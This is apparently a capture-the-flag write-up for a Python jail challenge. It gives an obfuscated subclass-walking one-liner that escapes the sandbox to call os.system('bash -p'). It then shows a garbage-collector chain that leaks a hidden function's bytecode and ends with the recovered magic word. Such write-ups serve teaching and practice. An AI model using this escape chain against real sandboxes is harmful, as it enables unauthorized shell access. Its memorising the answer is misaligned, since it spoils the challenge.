Python - Jail - Garbage collector Discussion [WRITEUP]

Let’s discuss Python - Jail - Garbage collector.

Python - Jail - Garbage collector

A black box Python jail challenge. We can’t import anything along with some restrictions. We need to use the garbage collector to get the flag.

Getting a shell doesn’t solve the challenge. We need to import gc and call gc.collect() to get the flag.

Shell

Still, I managed to get a shell. Here’s how I did it:

[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bas'+ 'h -p')

This is a one-liner that gets the os.system function and calls os.system('bash -p'). However, I can’t use this to get the flag. I need to use the garbage collector to get the flag.

Garbage collector

The garbage collector is a built-in module in Python. We can use it to peek into the memory and get the flag.

gc =  [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__.__getattribute__("func_global"+"s")['linecache'].__dict__['sys'].__dict__['modules']['gc']

I imported the garbage collector through the sys module. Now I can call gc.collect() to peek into the memory.

objects = gc.get_objects()
print objects[0]
# [<function get_your_keys at 0xb7c19c34>, ...]

The first object is a function called get_your_keys. I can leak the function’s bytecode and other attributes.

func = objects[0]
func_details = (func.__name__, repr(func.__code__.co_code), func.__code__.co_consts, func.__code__.co_varnames, func.__code__.co_freevars, func.__code__.co_names, '')

When I print the function details, I get the bytecode, constants, variable names, free variables, and names.

[07:49] >>> print func_details
('get_your_keys', '\'d\\x01\\x00}\\x01\\x00d\\x02\\x00d\\x03\\x00d\\x04\\x00d\\x05\\x00d\\x06\\x00d\\x03\\x00d\\x07\\x00d\\x08\\x00d\\t\\x00d\\n\\x00d\\t\\x00d\\x0b\\x00d\\x0c\\x00d\\r\\x00d\\x03\\x00d\\x0e\\x00d\\x0f\\x00d\\x06\\x00d\\x10\\x00g\\x13\\x00}\\x02\\x00x"\\x00|\\x02\\x00D]\\x1a\\x00}\\x03\\x00|\\x01\\x00t\\x00\\x00|\\x03\\x00d\\x11\\x00A\\x83\\x01\\x007}\\x01\\x00qL\\x00W|\\x00\\x00|\\x01\\x00k\\x02\\x00r\\x82\\x00d\\x12\\x00|\\x01\\x00\\x16GHn\\x05\\x00d\\x13\\x00GHd\\x00\\x00S\'', (None, '', 291105, 291152, 291104, 291159, 291089, 291109, 291094, 291154, 291124, 291095, 291083, 291118, 291086, 291155, 291130, 291171, 'Well done! Here is your flag: %s', 'This is not the magic word.'), ('magic_word', 'r', 'f', 'x'), (), ('chr',), '')

We have everything to reconstruct the function locally.

import types 

# Extracted details
func_name = 'get_your_keys'
co_code = '\'d\\x01\\x00}\\x01\\x00d\\x02\\x00d\\x03\\x00d\\x04\\x00d\\x05\\x00d\\x06\\x00d\\x03\\x00d\\x07\\x00d\\x08\\x00d\\t\\x00d\\n\\x00d\\t\\x00d\\x0b\\x00d\\x0c\\x00d\\r\\x00d\\x03\\x00d\\x0e\\x00d\\x0f\\x00d\\x06\\x00d\\x10\\x00g\\x13\\x00}\\x02\\x00x"\\x00|\\x02\\x00D]\\x1a\\x00}\\x03\\x00|\\x01\\x00t\\x00\\x00|\\x03\\x00d\\x11\\x00A\\x83\\x01\\x007}\\x01\\x00qL\\x00W|\\x00\\x00|\\x01\\x00k\\x02\\x00r\\x82\\x00d\\x12\\x00|\\x01\\x00\\x16GHn\\x05\\x00d\\x13\\x00GHd\\x00\\x00S\''
co_code = eval(co_code)
co_consts = (None, '', 291105, 291152, 291104, 291159, 291089, 291109, 291094, 291154, 291124, 291095, 291083, 291118, 291086, 291155, 291130, 291171, 'Well done! Here is your flag: %s', 'This is not the magic word.')
co_varnames = ('magic_word', 'r', 'f', 'x')
co_freevars = ()
co_names = ('chr',)
co_filename = '<string>'
co_name = func_name
co_firstlineno = 1
co_lnotab = b''
co_cellvars = ()
func_closure = None  # Assuming no closure for simplicity

# Rebuild the code object
new_code = types.CodeType(
    1,  # argcount
    4,  # nlocals
    2,  # stacksize
    1,  # flags
    co_code,
    co_consts,
    co_names,
    co_varnames,
    co_filename,
    co_name,
    co_firstlineno,
    co_lnotab,
    co_freevars,
    co_cellvars
)

# Rebuild the function object
new_function = types.FunctionType(new_code, globals(), func_name, None, func_closure)

# Execute the function
new_function('test')   

I was able to reconstruct the function and execute it. However, It needs a magic word to get the flag. I don’t have the magic word. So I disassembled the bytecode to understand the function’s logic.

import dis

co_code = '\'d\\x01\\x00}\\x01\\x00d\\x02\\x00d\\x03\\x00d\\x04\\x00d\\x05\\x00d\\x06\\x00d\\x03\\x00d\\x07\\x00d\\x08\\x00d\\t\\x00d\\n\\x00d\\t\\x00d\\x0b\\x00d\\x0c\\x00d\\r\\x00d\\x03\\x00d\\x0e\\x00d\\x0f\\x00d\\x06\\x00d\\x10\\x00g\\x13\\x00}\\x02\\x00x"\\x00|\\x02\\x00D]\\x1a\\x00}\\x03\\x00|\\x01\\x00t\\x00\\x00|\\x03\\x00d\\x11\\x00A\\x83\\x01\\x007}\\x01\\x00qL\\x00W|\\x00\\x00|\\x01\\x00k\\x02\\x00r\\x82\\x00d\\x12\\x00|\\x01\\x00\\x16GHn\\x05\\x00d\\x13\\x00GHd\\x00\\x00S\''
code = eval(co_code)
dis.dis(code)

When I run the disassembler, I see the function’s logic. It’s a simple XOR operation with constants.

          0 LOAD_CONST          1 (1)
          3 STORE_FAST          1 (1)
          6 LOAD_CONST          2 (2)
          9 LOAD_CONST          3 (3)
         12 LOAD_CONST          4 (4)
         15 LOAD_CONST          5 (5)
         18 LOAD_CONST          6 (6)
         21 LOAD_CONST          3 (3)
         24 LOAD_CONST          7 (7)
         27 LOAD_CONST          8 (8)
         30 LOAD_CONST          9 (9)
         33 LOAD_CONST         10 (10)
         36 LOAD_CONST          9 (9)
         39 LOAD_CONST         11 (11)
         42 LOAD_CONST         12 (12)
         45 LOAD_CONST         13 (13)
         48 LOAD_CONST          3 (3)
         51 LOAD_CONST         14 (14)
         54 LOAD_CONST         15 (15)
         57 LOAD_CONST          6 (6)
         60 LOAD_CONST         16 (16)
         63 BUILD_LIST         19
         66 STORE_FAST          2 (2)
         69 SETUP_LOOP         34 (to 106)
         72 LOAD_FAST           2 (2)
         75 GET_ITER       
    >>   76 FOR_ITER           26 (to 105)
         79 STORE_FAST          3 (3)
         82 LOAD_FAST           1 (1)
         85 LOAD_GLOBAL         0 (0)
         88 LOAD_FAST           3 (3)
         91 LOAD_CONST         17 (17)
         94 BINARY_XOR     
         ...
         ...

Then I managed to create a script that XORs the constants and gets the flag.

def compute_magic_word():
    int_list = [291105, 291152, 291104, 291159, 291089, 291152, 291109, 291094, 291154, 291124, 291154, 291095, 291083, 291118, 291152, 291086, 291155, 291089, 291130]
    result_string = ''
    xor_const = 291171
    for value in int_list:
        result_string += chr(value ^ xor_const)
    
    return result_string

magic_word = compute_magic_word()
print("Magic Word:", magic_word)

When I run the script, I get the magic word and the flag.

$ python3 get_flag.py
Magic Word: B3C4r3Fu1W1thM3m0rY
1 Like